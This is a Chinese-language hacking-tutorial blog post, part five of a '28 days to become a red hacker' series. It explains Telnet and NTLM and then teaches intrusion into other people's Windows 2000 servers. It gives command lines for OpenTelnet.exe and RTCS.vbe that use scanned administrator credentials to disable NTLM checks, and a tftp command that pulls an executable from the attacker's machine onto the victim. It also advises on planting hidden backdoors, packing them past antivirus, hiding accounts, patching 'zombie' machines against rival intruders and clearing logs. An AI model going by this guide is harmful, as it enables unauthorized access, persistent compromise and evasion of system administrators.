28天打造專業紅客(五)

 [第5天]從telnet講起
 
        最近因爲手上事情太多,未能及時更新我的Blog上的文章,爲此我也剛到抱歉,讓前來看的朋友失望了。好了元歸正傳,前面我說到過telnet,好象很多朋友不太明白,也不會用,我想這主要是因爲你的命令掌握不太牢啊,我今天就把telnet詳細講一遍,再說一些簡單的網絡相關先說telnet,什麼是telnet?Telnet服務雖然也屬於客戶機/服務器模型的服務,但它更大的意義在於實現了基於Telnet協議的遠程登錄(遠程交互式計算),那麼什麼是遠程登錄?我想這個大家都明白一點,定義:遠程登陸是指用戶使用Telnet命令,使自己的計算機暫時成爲遠程主機的一個仿真終端的過程。仿真終端等效於一個非智能的機器,它只負責把用戶輸入的每個字符傳遞給主機,再將主機輸出的每個信息回顯在屏幕上。使用Telnet協議進行遠程登陸時需要滿足以下條件:在本的計算機上必須裝有包含Telnet協議的客戶程序;必須知道遠程主機的Ip地址或域名;必須知道登錄標識與口令。
Telnet遠程登錄服務分爲以下4個過程:
1)本地與遠程主機建立連接。該過程實際上是建立一個TCP連接,用戶必須知道遠程主機的Ip地址或域名;
2)將本地終端上輸入的用戶名和口令及以後輸入的任何命令或字符以NVT(Net Virtual Terminal)格式傳送到遠程主機。該過程實際上是從本地主機向遠程主機發送一個IP數據報;
3)將遠程主機輸出的NVT格式的數據轉化爲本地所接受的格式送回本地終端,包括輸入命令回顯和命令執行結果;
4)最後,本地終端對遠程主機進行撤消連接。該過程是撤銷一個TCP連接。
再說一下什麼叫Telnet協議?簡單點說Telnet協議是TCP/IP協議族中的一員,是Internet遠程登陸服務的標準協議。應用Telnet協議能夠把本地用戶所使用的計算機變成遠程主機系統的一個終端。它提供了三種基本服務:
1)Telnet定義一個網絡虛擬終端爲遠的系統提供一個標準接口。客戶機程序不必詳細瞭解遠的系統,他們只需構造使用標準接口的程序;
2)Telnet包括一個允許客戶機和服務器協商選項的機制,而且它還提供一組標準選項;
3)Telnet對稱處理連接的兩端,即Telnet不強迫客戶機從鍵盤輸入,也不強迫客戶機在屏幕上顯示輸出。關於這個就說這麼多了,至於其他的一些就不說了,因爲沒什麼幫助對我門,如果你有興趣,可以去本站查查相關資料再說說Win2000的Telnet服務,因爲大部分服務器用的都是2000的Win2000爲我們提供了Telnet客戶機和服務器程序:Telnet.exe是客戶機程序(Client),tlntsvr.exe是服務器程序(server),同時它還爲我們提供了Telnet服務器管理程序tlntadmn.exe。  其實從應用層面上,Win2000的Telnet服務並沒有什麼可說的,絕大部分內容你都可以從HELP文件中得到,我在此只是把它稍微整理一下而已.Windows 2000 默認安裝了 Telnet 服務,但是並沒有默認啓動。下面給出HELP文件中 Telnet 服務的一部分默認設置:
AllowTrustedDomain:是否允許域用戶訪問。默認值是1,允許信任域用戶訪問。可以改爲0: 不允許域用戶訪問(只允許本地用戶)。
DefaultDomain:可以對與該計算機具有信任關係的任何域設置。默認值是"."。
DefaultShell:顯示 shell 安裝的路徑位置。默認值是: %systemroot%\System32\Cmd.exe /q /k
MaxFailedLogins:在連接終止之前顯示嘗試登錄失敗的最大次數。默認是3。
LoginScript:顯示 Telnet 服務器登錄腳本的路徑位置。默認的位置就是“%systemroot%\System32\login.cmd”,你可以更改腳本內容,這樣登錄進Telnet的歡迎屏幕就不一樣了。
NTLM:NTLM身份驗證選項。默認是2。可以有下面這些值:
0: 不使用 NTLM 身份驗證。
1: 先嚐試 NTLM 身份驗證,如果失敗,再使用用戶名和密碼。
2: 只使用 NTLM 身份驗證。
TelnetPort:顯示 telnet 服務器偵聽 telnet 請求的端口。默認是:23。你也可以更改爲其他端口。以上各項設置你可以使用tlntadmn.exe(Telnet服務器管理程序)來進行非常方便的配置,配置後需要重新啓動Telnet服務。
2 NTLM

提到了telnet就不能不提NTLM,我想這也是讓***者最爲頭痛的一件事,哪怕你獲得了管理員帳號和密碼,想簡單通過NTLM也並非易事,況且win2000中的telnet默認僅以NTLM方式驗證身份,這就讓我們不得不關注NTLM這個東東,那麼什麼是NTLM呢?早期的SMB協議在網絡上明文傳輸口令,後來出現了"LAN Manager Challenge/Response"驗證機制,簡稱LM,它十分簡單以至很容易被破解,微軟隨後提出了WindowsNT挑戰/響應驗證機制,即NTLM。現在已經有了更新的NTLMv2以及Kerberos驗證體系。NTLM工作流程是這樣的:
1、客戶端首先在本地加密當前用戶的密碼成爲密碼散列
2、客戶端向服務器發送自己的帳號,這個帳號是沒有經過加密的,明文直接傳輸
3、服務器產生一個16位的隨機數字發送給客戶端,作爲一個 challenge(挑戰)
4、客戶端再用加密後的密碼散列來加密這個 challenge ,然後把這個返回給服務器。作爲 response(響應)
5、服務器把用戶名、給客戶端的challenge 、客戶端返回的 response 這三個東西,發送域控制器
6、域控制器用這個用戶名在 SAM密碼管理庫中找到這個用戶的密碼散列,然後使用這個密碼散列來加密 challenge。
7、域控制器比較兩次加密的 challenge ,如果一樣,那麼認證成功。
從上面的過程我們可以看出,NTLM是以當前用戶的身份向Telnet服務器發送登錄請求的,而不是用你掃到的對方管理員的帳戶和密碼登錄,顯然,你的登錄將會失敗。舉個例子來說,你家的機器名爲A(本地機器),你***的機器名爲B(遠地機器),你在A上的帳戶是xinxin,密碼是1234,你掃到B的管理員帳號是Administrator,密碼是5678,當你想Telnet到B時,NTLM將自動以當前用戶的帳號和密碼作爲登錄的憑據來進行上面的7項操作,即用xinxin和1234,而並非
用你掃到的Administrator和5678,且這些都是自動完成的,根本不給你插手的機會,因此你的登錄操作將失敗。由於Telnet服務器對NTLM的使用有3個選項,所以當你Telnet遠地機器時,會顯示下面情況中的一種:
1)身份驗證選項=0時
=====================================
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\\爲0時不使用NTML身份驗證,直接輸入用戶名和密碼,比如你可以輸入掃到的Administrator和5678

2)身份驗證選項=1時
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
\\先嚐試 NTLM 身份驗證,如果失敗,再使用用戶名和密碼,其實這種方式對於我們來說,與上一種方式沒什麼區別

3)身份驗證選項=2時
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Server allows NTLM authentication only
Server has closed connection
遺失對主機的連接。
C:\>
\\仔細看看上面的顯示,根本沒有給你輸入用戶名和密碼的機會,直接斷開連接,掃到了密碼也是白掃所以對於***者來說,NTLM是橫在我們面前的一座大山,必須要除掉它,一般我們有如下幾種方法:
1通過修改遠程註冊表更改telnet服務器配置,將驗證方式從2改爲1或0;
2使用NTLM.exe,上傳後直接運行,可將telnet服務器驗證方式從2改爲1;
3在本地建立掃描到的用戶,以此用戶身份開啓telnet客戶機並進行遠程登錄;
4使用軟件,比如opentelnet.exe(需要管理員權限且開啓IPC管道)
5使用腳本,如RTCS,(需要管理員權限但不依賴IPC管道)
基本上是以上的5種,其中後兩種是我們比較常用的開telnet的手法,而且使用方法十分簡單,命令如下:
OpenTelnet.exe \\server username password NTLMAuthor telnetport
OpenTelnet.exe \\服務器地址 管理員用戶名 密碼 驗證方式(填0或1) telnet端口
cscript RTCS.vbe targetIP username password NTLMAuthor telnetport
cscript RTCS.vbe <目標IP> <管理員用戶名> <密碼> <驗證方式> <tlnet端口>

那telnet上去後不知道該做什麼了?很多朋友這樣問了,我想如果你是從第1天看的,應該知道吧,我就再說說吧
1 查看系統信息
呵呵,其實就是隨處看看,看看他的系統配置和版本(用type c:\boot.ini來知道pro版或server版),看看都裝了什麼服務或軟件(從目錄名就可以知道了),看看有什麼重要或有趣的文件啦(唉,要是國外的機器,看也看不懂),看
看他的用戶情況,總之就是儘可能多的瞭解系統,爲一會裝後門摸底。
2 使用tftp傳送文件
想必大家都遇到過在telnet中傳輸文件的問題,因爲我們習慣了在ipc管道中的文件傳輸,所以有些朋友喜歡用net share ipc$ 來打開管道,進而利用copy來傳輸文件。不過這樣反而麻煩,既然我們已經得到了shell(這個前面已經很詳
細的說過了)們可以用TFPT命令來完成這一切,什麼是TFTP呢?用TFTP(Trivial File Transfer Protocol)來實現文件的傳送是一種基於UDP連接的文件傳輸,一般是使用Windows自帶的tftp.exe和一個TFTP服務器端軟件構成一個完整的傳輸結構。它是這樣使用的: 首先運行本地的TFTP Server(比如tftpd32.exe)軟件並保證始終開啓直至傳輸全部完成, 然後在telnet中(當然你也可以在其他shell中)運行下面的命令:C:\>tftp –i ip get xinxin.exe c:\abc\xinxin.exe其中ip爲你自己機器的ip,且上傳文件要與TFTP服務器端在同一目錄下,這樣你就可以把xinxin.exe上傳到c盤abc目錄下了(其實是從tftp服務器下載來的)需要指出的是,如果使用代理IP,你將不能實現與外部網絡的文件傳送。因爲你的代理網關在進行數據封裝的時候會將自己的IP地址加入到你的數據報中,代替你的內部網絡地址,所以在外部網絡進行MAC尋址時是找不到你這臺TFTP服務器的。
3 安置後門
如果你***還有其他目的,比如以破壞爲主,或者是來修改主頁的,那麼這些事情當然可以在安置後門之前做;如果你只是想得到一隻肉雞,那就沒什麼可說的了,安後門吧這個問題我在前面有講過一點,但不詳細.用的後門一般有:***,asp***,遠程控制軟件,克隆帳戶,建立並隱藏帳戶,telnet,telnet擴展的shell,終端服務等。安置一個好的後門通常要注意以下幾點:(這是一個前輩寫的我copy一下,很中肯的)
1 不會被防火牆查殺及阻礙通信:被加入病毒庫的後門最好加殼以逃過防火牆,儘量用低端口通信,以免被防火牆屏蔽。
2 最大限度增加隱蔽性:如果你選擇遠程控制軟件,要注意被控端的安裝提示和小圖標,以及是否同步畫面;如果你在帳戶上做文章,要儘量保持在cmd和用戶管理中都不出破綻;如果你選擇放***或telnet擴展,要注意文件和進程的隱藏;如果新開了終端服務(***前並沒有開),一定要該掉3389這個顯眼的端口,且越低越好。不要當管理員不存在:這是一個大忌,許多朋友在只有默認帳戶的機器上建立類似'hacking'的管理員帳戶,真是無知者無畏呀。所以安置後門的時候,想想管理員疏忽的地方會在哪裏。
4 打補丁
如果想獨霸肉雞,就要會打補丁,要知道對肉雞的競爭是很激烈的。怎麼打補丁呢?這個也要問?想想你是怎麼進來的吧。算了,提示一下,除了修補大的漏洞以外(上傳官方補丁並運行),也要注意它的共享,ipc$共享(最好都關閉
),可疑端口,容易被利用的服務等。不過打補丁也要注意隱蔽性的,不要讓管理員發現大的改動。
5 清除日誌
可以手動或利用軟件,如果不太會就去找相關教材吧,在這裏我不詳細介紹了。好了,基本上就這麼多了,今天就到這了,希望能給大家一些幫助
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章